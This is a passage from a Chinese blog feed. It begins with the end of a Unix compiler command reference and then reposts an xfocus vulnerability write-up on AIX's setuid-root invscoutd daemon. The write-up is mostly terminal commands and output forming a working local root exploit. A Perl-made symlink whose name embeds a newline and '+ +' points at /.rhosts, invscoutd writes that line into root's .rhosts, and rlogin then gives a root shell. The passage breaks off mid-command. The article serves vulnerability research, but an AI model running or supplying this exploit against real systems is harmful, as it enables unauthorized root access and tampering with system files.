进行代码的一般优化<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -O2 二级优化<BR>&nbsp;&nbsp;&nbsp; 注释：C编译器参考手册可用命令man cc查看。<BR>&nbsp;&nbsp;&nbsp; 例如：% cc -o test test.c<BR><BR>8.2 C++程序编译<BR>&nbsp;&nbsp;&nbsp; 命令：CC<BR>&nbsp;&nbsp;&nbsp; 格式：CC [option] filename<BR>&nbsp;&nbsp;&nbsp; 功能：编译或链接指定的C++文件。<BR>&nbsp;&nbsp;&nbsp; 选项：同C编译选项<BR>&nbsp;&nbsp;&nbsp; 注释：C++编译器参考手册可用命令man CC查看。<BR>&nbsp;&nbsp;&nbsp; 例如：% CC -O2 test.cc<BR><BR>8.3 FORTRAN77程序编译<BR>&nbsp;&nbsp;&nbsp; 命令：f77<BR>&nbsp;&nbsp;&nbsp; 格式：f77 [option] filename<BR>&nbsp;&nbsp;&nbsp; 功能：编译或链接指定的Fortran文件<BR>&nbsp;&nbsp;&nbsp; 选项：-o&nbsp; 指定输出文件名，缺省时为a.out<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -c&nbsp; 只编译，产生.o的目标文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -g&nbsp; 产生用于符号测试的执行文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -O0 不进行代码优化<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -O1 尽快进行代码优化<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -O2 二级优化<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -O3 三级优化<BR>&nbsp;&nbsp;&nbsp; 注释：FORTRAN77编译器参考手册可用命令man f77查看<BR>&nbsp;&nbsp;&nbsp; 例如：% f77 -c test.f<BR><BR>8.4 FORTRAN90程序编译<BR>&nbsp;&nbsp;&nbsp; 命令：f90<BR>&nbsp;&nbsp;&nbsp; 格式：f90 [option] filename<BR>&nbsp;&nbsp;&nbsp; 功能：编译或链接指定的Fortran90文件<BR>&nbsp;&nbsp;&nbsp; 选项：同FORTRAN77编译选项<BR>&nbsp;&nbsp;&nbsp; 注释：FORTRAN90编译器参考手册可用命令man f90查看<BR>&nbsp;&nbsp;&nbsp; 例如：% f90 -O -o test test.f<BR><BR>8.5 GNU程序编译<BR>&nbsp;&nbsp;&nbsp; 命令：gcc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (GNU C)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; g++/c++&nbsp; (GNU C++)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; g77&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (GNU FORTRAN77)<BR>&nbsp;&nbsp;&nbsp; 格式：gcc [option] filename<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; g++ [option] filename<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; g77 [option] filename<BR>&nbsp;&nbsp;&nbsp; 功能：编译或链接指定的编译文件。<BR>&nbsp;&nbsp;&nbsp; 选项：-o&nbsp; 指定输出文件名，缺省时为a.out<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -c&nbsp; 只编译，产生.o的目标文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -O&nbsp; 进行代码的一般优化<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -O2 二级优化<BR>&nbsp;&nbsp;&nbsp; 注释：GNU编译器参考手册可进入emacs中info菜单下查看。<BR>&nbsp;&nbsp;&nbsp; 例如：% gcc -o test test.c<BR><BR>8.6 运行文件<BR>&nbsp;&nbsp;&nbsp; 格式：a.out<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; filename<BR>&nbsp;&nbsp;&nbsp; 功能：源程序经编译后产生目标代码文件，放在a.out文件或指定输出文件名。<BR></SPAN></TD></TR></TBODY></TABLE>]]></description>
</item><item>
<title><![CDATA[AIX捉虫记之__invscoutd]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xueflhg&amp;id=10920</link>
<author>xueflhg</author>
<pubDate>2005/12/31 11:06:00</pubDate>
<description><![CDATA[<DIV class=top>
<DIV class=searchBox>
<FORM name=searchform action=http://www.google.com/search method=get>&nbsp;</FORM></DIV></DIV>
<TABLE class=columns>
<TBODY>
<TR>
<TD class=left>
<DIV class=box>
<H5>&nbsp;推荐原创&nbsp;</H5>
<DIV class=body>
<DIV class="content odd"><IMG src="http://www.xfocus.net/images/document_icon.gif" border=0> <A href="http://www.xfocus.net/releases/200403/a683.html">Foxmail 5远程缓冲区溢出漏洞</A><BR><IMG src="http://www.xfocus.net/images/document_icon.gif" border=0> <A href="http://www.xfocus.net/releases/200404/a689.html">国内网络安全风险评估市场与技术操作</A><BR><IMG src="http://www.xfocus.net/images/document_icon.gif" border=0> <A href="http://www.xfocus.net/releases/200305/a533.html">SMB的NTLM认证过程与NTLM挑战的编程实现</A><BR><IMG src="http://www.xfocus.net/images/document_icon.gif" border=0> <A href="http://www.xfocus.net/releases/200305/a532.html">WINDOWS NT/2000 密码到散列的实现算法</A><BR><IMG src="http://www.xfocus.net/images/document_icon.gif" border=0> <A href="http://www.xfocus.net/releases/200304/a512.html">一种新的File Stream Overflows(FSO)</A><BR></DIV></DIV></DIV></TD>
<TD class=main>
<H1>AIX捉虫记之__invscoutd</H1><BR>创建时间：2004-06-04<BR>文章属性：原创<BR>文章提交：watercloud (watercloud_at_xfocus.org)<BR><BR>AIX捉虫记<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;之invscoutd<BR><BR><BR><BR><BR><BR>本文是考查AIX安全性时的一小段笔记(其实就是屏幕copy)，<BR>整理了一下加了点注释，和有兴趣的朋友分享 :)<BR><BR>[ 文中涉及到我发现的一个AIX4.x &amp; 5L上的漏洞，可以使普通用户获得root权限，现在IBM好像还没有补丁，望大家善用之 ]<BR><BR><BR>时间：2003-5-3日<BR>天气：晴，万里无云的天空飘着几朵小小的白云<BR><BR>今天心情很好，前两天捉AIX的安全BUG很有收获，栈堆溢出、堆溢出、格式串、PATH欺骗执行命令<BR>等都有了，今天继续……<BR><BR>平台信息：<BR>-bash-2.05b$ oslevel<BR>5.1.0.0<BR>-bash-2.05b$ oslevel -r<BR>5100-01<BR><BR><BR>按八字排列今天应该考查invscoutd命令了<BR>-bash-2.05b$ ls -l /usr/sbin/invscoutd<BR>-r-sr-xr-x&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp; system&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 217868 Aug 03 2001&nbsp;&nbsp;/usr/sbin/invscoutd<BR>&nbsp;&nbsp; <BR>&nbsp;&nbsp; |<BR>&nbsp;&nbsp; +------考查理由? 需要么？谁叫他带了这个s位！<BR><BR><BR>首先了解一下这个命令是哪个道上混的～<BR>-bash-2.05b$man invscoutd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>…………<BR>The invscoutd command implements a permanent Inventory Scout server daemon on<BR>one machine in a user's local network. The usual client is a Java applet running<BR>in the user's Web browser, which was downloaded from a central Inventory Scout<BR>CGI application.<BR>…………<BR><BR>赖着性子看完，瞌睡ing ...<BR><BR>再来看看这个命令的长相：<BR>-bash-2.05b$ invscoutd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>invscoutd: Missing log file name.<BR>Inventory Scout Daemon 2.0.2.&nbsp;&nbsp;@@@ CAT VERSION @@@<BR>USAGE: invscoutd [options] logfile&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;-- 还写日志文件的说。<BR>logfile&nbsp;&nbsp;Append status and err msgs.&nbsp;&nbsp;'-' means write to stderr.<BR>-o&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Overwrite preexisting log file instead of append.&nbsp;&nbsp;&lt;-- 还可以覆盖已有文件的说～<BR>-pN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Change port number to N from default 808.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;-- 默认监听在808端口<BR>-bN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Change read buffer size to N from default 1024.<BR>-dN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Change max logic db file size to N from default 50000.<BR>-tN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Change timeout period to N seconds from default 30 seconds.<BR>-vN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Change verbosity level to N from default 18,&nbsp;&nbsp;&lt;--支持交互级别，级别越高记录信息应该越详细<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;25=max 20=debug 18=calls 15=banner 10=errs 5=fatal 0=none.<BR><BR>依稀记得以前Unix上有不少漏洞和日志文件权限处理不正确有关，<BR>就先考查一下他的这个日志文件吧 ～～～<BR><BR><BR>-bash-2.05b$ ls -l /tmp/bb<BR>ls: 0653-341 The file /tmp/bb does not exist.<BR><BR>-bash-2.05b$ invscoutd /tmp/bb&nbsp;&nbsp;&nbsp;&nbsp; <BR>Inventory Scout Version 1.3.0.0<BR>Logic Database Version 1.3.0.0<BR>Start invscoutd 2.0.2:<BR>&nbsp;&nbsp;p=808 u=0 v=18 t=30 d=50000 pid=17028<BR>&nbsp;&nbsp;flog=/tmp/bb<BR>-bash-2.05b$ ls -l /tmp/bb<BR>-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp; staff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 270 May 03 03:54 /tmp/bb<BR><BR>哇噻～～，权限果然有问题！！日志文件是root所有的说！！<BR>睡意全无，立刻就清醒了！<BR><BR><BR>有点不敢相信自己的眼睛，漏洞有这么好找吗？？！！赶紧敲个id确认一下，不会是自己本来就是root登陆的<BR>-bash-2.05b$ id<BR>uid=203(cloud) gid=1(staff)<BR><BR>看来没错，是个漏洞，那我能利用这个漏洞做什么呢？？<BR>想想……<BR><BR>至少可以把系统重要配置文件破坏掉吧，哈哈……<BR><BR>再想想对于不存在的重要文件如/.rhosts文件（其实暂时也就想到这么一个文件），<BR>我们可以用这个漏洞创建这个文件，要是之前执行一次<BR>umask 000<BR>创建的文件我们就有修改权限了 ^_^<BR><BR>这样我们就可以任意改写文件内容了，如：/.rhosts中加一行 <BR>+ +<BR><BR>可惜r系列服务使用.rhosts时会对文件属性进行检查：<BR>如果文件不属于对应用户，或文件权限 除所有者外其他用户或同组用户有写权限均验证失败！<BR><BR>看来通过创建一个我们可写的/.rhosts文件来获得root权限是行不通了～～<BR><BR>我们覆盖重要文件如/etc/passwd，并不能改变文件权限～～<BR><BR>回头再一琢磨，我们不就是要想控制写入文件的内容吗？不能通过直接获得文件写权限自由写内容，<BR>那就间接点，要是日志文件写入内容我们可以控制那不也能通过修改<BR>/.rhosts，/etc/passwd，/var/spool/cron/crontabs/root 等文件<BR>把自己变为root了吗？<BR><BR><BR><BR>赶紧来看看日志文件里写了什么内容：<BR>-bash-2.05b$ cat /tmp/bb<BR>2003/05/03 03:54:37 G16716:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0<BR>2003/05/03 03:54:37 G16716:invscoutd_2.0.2 Logic Database Version 1.3.0.0<BR>2003/05/03 03:54:37 P17028:invscoutd_2.0.2 Start invscoutd 2.0.2:<BR>&nbsp;&nbsp;p=808 u=0 v=18 t=30 d=50000 pid=17028<BR>&nbsp;&nbsp;flog=/tmp/bb<BR><BR>里面好像就flog=/tmp/bb和输入有关。<BR><BR>再试试，看这个问题能不能重现.<BR><BR>-bash-2.05b$ invscoutd ./aa<BR>Inventory Scout Version 1.3.0.0<BR>Logic Database Version 1.3.0.0<BR>Exit code 2, pid 536968056.<BR><BR>看来还得先杀掉老的进程才能再试。<BR><BR>-bash-2.05b$ ps -ef |grep invs<BR>&nbsp;&nbsp; cloud 15526&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp; 0 04:36:25&nbsp;&nbsp;pts/0&nbsp;&nbsp;0:00 invscoutd ./aa<BR>&nbsp;&nbsp; cloud 16068 16836&nbsp;&nbsp; 1 04:37:50&nbsp;&nbsp;pts/0&nbsp;&nbsp;0:00 grep invs<BR>-bash-2.05b$ kill -9 15526<BR><BR>看看刚才出错记录到log文件了没？<BR>-bash-2.05b$ ls -l ./aa<BR>ls: 0653-341 The file ./aa does not exist.<BR><BR>没有的说。<BR><BR><BR>我再试试，我非要重现一次才放心.<BR>-bash-2.05b$ invscoutd ./aa<BR>Inventory Scout Version 1.3.0.0<BR>Logic Database Version 1.3.0.0<BR>Start invscoutd 2.0.2:<BR>&nbsp;&nbsp;p=808 u=0 v=18 t=30 d=50000 pid=15526<BR>&nbsp;&nbsp;flog=./aa<BR><BR>-bash-2.05b$ ls -l ./aa<BR>ls: 0653-341 The file ./aa does not exist.<BR>咦，为什么没有记进来？难道文件名还必须以/打头？，先不管了，就写到/tmp下吧，再试试。<BR><BR>这次学乖了，先杀掉进程。<BR>-bash-2.05b$ ps -ef |grep invsc<BR>&nbsp;&nbsp; cloud 14194 15338&nbsp;&nbsp; 3 03:55:29&nbsp;&nbsp;pts/0&nbsp;&nbsp;0:00 grep invsc<BR>&nbsp;&nbsp; cloud 17028&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp; 0 03:54:37&nbsp;&nbsp;pts/0&nbsp;&nbsp;0:00 invscoutd ./aa<BR>-bash-2.05b$ kill -9 17028<BR><BR>…………<BR><BR>经测试，果然能重现，放心了～～<BR><BR><BR><BR>想了想，要通过改写.rhosts ,passwd,crotable突破系统权限取得root特权，<BR>都必须要能完整的控制一行写入文件的内容，日志中能控制的是：<BR>&nbsp;&nbsp;flog=输入文件名<BR>部分，那面文件名中带换行符就可以控制一行的内容了，如：<BR>aaaa\n完整的一行\naaaa这种形似的文件名。<BR>想了就做.<BR><BR><BR>但命令行上一时想不起来如何输入\n字符并把它作为命令行的一个参数，<BR>刚好以前学的perl派上了用场 ^_*<BR>用perl来执行一个系统命令invscoutd "/tmp/bbbbb\n+ +\nddd"，<BR>看看能不能产生一个单独的一行记录内容<BR>+ +<BR><BR>-bash-2.05b$ perl -e 'system invscoutd,"/tmp/bbbbb\n+ +\nddd";'<BR>Inventory Scout Version 1.3.0.0<BR>Logic Database Version 1.3.0.0<BR>Start invscoutd 2.0.2:<BR>&nbsp;&nbsp;p=808 u=0 v=18 t=30 d=50000 pid=16282<BR>&nbsp;&nbsp;flog=/tmp/bbbbb<BR>+ +<BR>ddd<BR>-bash-2.05b$ cat /tmp/bbbbb*<BR>2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0<BR>2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Logic Database Version 1.3.0.0<BR>2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Bind error, port 808: The socket name is already in use..<BR>2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Exit code 2, pid 536968072.<BR>2003/05/03 03:59:27 G14934:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0<BR>2003/05/03 03:59:27 G14934:invscoutd_2.0.2 Logic Database Version 1.3.0.0<BR>2003/05/03 03:59:27 P16282:invscoutd_2.0.2 Start invscoutd 2.0.2:<BR>&nbsp;&nbsp;p=808 u=0 v=18 t=30 d=50000 pid=16282<BR>&nbsp;&nbsp;flog=/tmp/bbbbb<BR>+ +<BR>ddd<BR><BR>嘿嘿，可以的说！！<BR><BR>-bash-2.05b$ ls -l /tmp/bbbbb*<BR>-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp; staff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 602 May 03 03:59 /tmp/bbbbb<BR>+ +<BR>ddd<BR><BR>那我们如何写"\n+ +\n"内容到/.rhosts呢？<BR><BR><BR>想想……<BR><BR>再想想……<BR><BR>呵呵，我想到了，你想到了吗？<BR><BR>再给你5分钟，好好想想～～<BR><BR><BR><BR><BR><BR>如果直接执行invscoutd /.rhosts<BR>肯定不行，里面不会有我们期望的<BR>+ +<BR>行。<BR><BR>如果我们执行perl -e 'system invscoutd,"/tmp/bbbbb\n+ +\nddd";'<BR>向log文件写入<BR>+ +<BR>成功，<BR><BR>但写入的文件是"/tmp/bbbbb\n+ +\nddd"，而我们现在期望是写到/.rhosts文件，<BR><BR>再想想…………<BR><BR>归纳一下，问题核心是想把A文件名写入B文件中，<BR>Unix下的符号链接好像就是这个桥梁耶～<BR><BR>我们建立一个A -&gt; B的符号连接不就行了!<BR>ln -s B A<BR>然后<BR>invscoutd A<BR>应该就成了。<BR><BR><BR>开始行动：<BR><BR>-bash-2.05b$ ls -l /.rhosts<BR>ls: 0653-341 The file /.rhosts does not exist.<BR><BR>建立A -&gt; B的符号链接：<BR>-bash-2.05b$ perl -e 'symlink "/.rhosts","/tmp/cc\n+ +\ndd";'<BR>这里B是"/.rhosts"<BR>A是"/tmp/cc\n+ +\ndd"<BR><BR>-bash-2.05b$ ls -l /tmp/cc*<BR>lrwxrwxrwx&nbsp;&nbsp; 1 cloud&nbsp;&nbsp;&nbsp;&nbsp;staff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 8 May 03 04:02 /tmp/cc<BR>+ +<BR>dd -&gt; /.rhosts<BR><BR>来，执行之<BR><BR>-bash-2.05b$ perl -e 'system invscoutd,"/tmp/cc\n+ +\ndd";'<BR>Inventory Scout Version 1.3.0.0<BR>Logic Database Version 1.3.0.0<BR>Exit code 2, pid 536968072.<BR>-bash-2.05b$ ps -ef |grep invsc<BR>&nbsp;&nbsp; cloud 16282&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp; 0 03:59:27&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;&nbsp;0:00 invscoutd /tmp/bbbbb?+ +?ddd<BR>&nbsp;&nbsp; cloud 17146 15338&nbsp;&nbsp; 1 04:03:40&nbsp;&nbsp;pts/0&nbsp;&nbsp;0:00 grep invsc<BR>-bash-2.05b$ kill -9 16282<BR>-bash-2.05b$ perl -e 'system invscoutd,"/tmp/cc\n+ +\ndd";'<BR>Inventory Scout Version 1.3.0.0<BR>Logic Database Version 1.3.0.0<BR>Start invscoutd 2.0.2:<BR>&nbsp;&nbsp;p=808 u=0 v=18 t=30 d=50000 pid=17150<BR>&nbsp;&nbsp;flog=/tmp/cc<BR>+ +<BR>dd<BR><BR>看看文件生成了没有：<BR>-bash-2.05b$ ls -l /.rhosts<BR>-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp; staff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 598 May 03 04:03 /.rhosts<BR><BR>ok，来继续看看内容:<BR><BR>-bash-2.05b$ cat /.rhosts<BR>2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0<BR>2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Logic Database Version 1.3.0.0<BR>2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Bind error, port 808: The socket name is already in use..<BR>2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Exit code 2, pid 536968072.<BR>2003/05/03 04:03:48 G14270:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0<BR>2003/05/03 04:03:48 G14270:invscoutd_2.0.2 Logic Database Version 1.3.0.0<BR>2003/05/03 04:03:48 P17150:invscoutd_2.0.2 Start invscoutd 2.0.2:<BR>&nbsp;&nbsp;p=808 u=0 v=18 t=30 d=50000 pid=17150<BR>&nbsp;&nbsp;flog=/tmp/cc<BR>+ +<BR>dd<BR><BR><BR>呵呵+ +写进去了!!!<BR><BR>来，用root用户 rlogin localhost登陆系统，这样就能取得root权限了：<BR><BR>-bash-2.05b$ rlogin -l root localhost<BR>usage: rlogin host [ -ex ] [ -l username ] [-f|-F] [-k realm] [ -8 ]<BR><BR>faint ! 一高兴起来就连命令格式都给忘了 :(<BR><BR>再来：<BR><BR>-bash-2.05b$ rlogin localhost -l root<BR>*******************************************************************************<BR>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<BR>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<BR>*&nbsp;&nbsp;Welcome to AIX Version 5.1!&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*<BR>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<BR>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<BR>*&nbsp;&nbsp;Please see the README file in /usr/lpp/bos for information pertinent to&nbsp;&nbsp;&nbsp;&nbsp;*<BR>*&nbsp;&nbsp;this release of the AIX Operating System.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*<BR>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<BR>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<BR>*******************************************************************************<BR>…………<BR><BR>-bash-2.05b#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;--好爽的特权"#"提示附耶！<BR>-bash-2.05b# id<BR>uid=0(root) gid=0(system) groups=2(bin),3(sys),7(security),8(cron),10(audit),11(lp)<BR><BR><BR>哈哈哈～～搞定啦～～偶麻雀变root啦～～<BR>学了这么多年的Unix知识终于没白学呀～～<BR>热泪盈框ing ……<BR><BR><BR>继续感动ing……<BR><BR><BR><BR>◎！＃◎％￥＃％，还在陶醉~~！ ！ ！<BR><BR><BR>好啦～好啦～自恋狂！该干活啦～～<BR><BR><BR>简单清理战场～<BR>-bash-2.05b# rm /.rhosts<BR>-bash-2.05b# rm 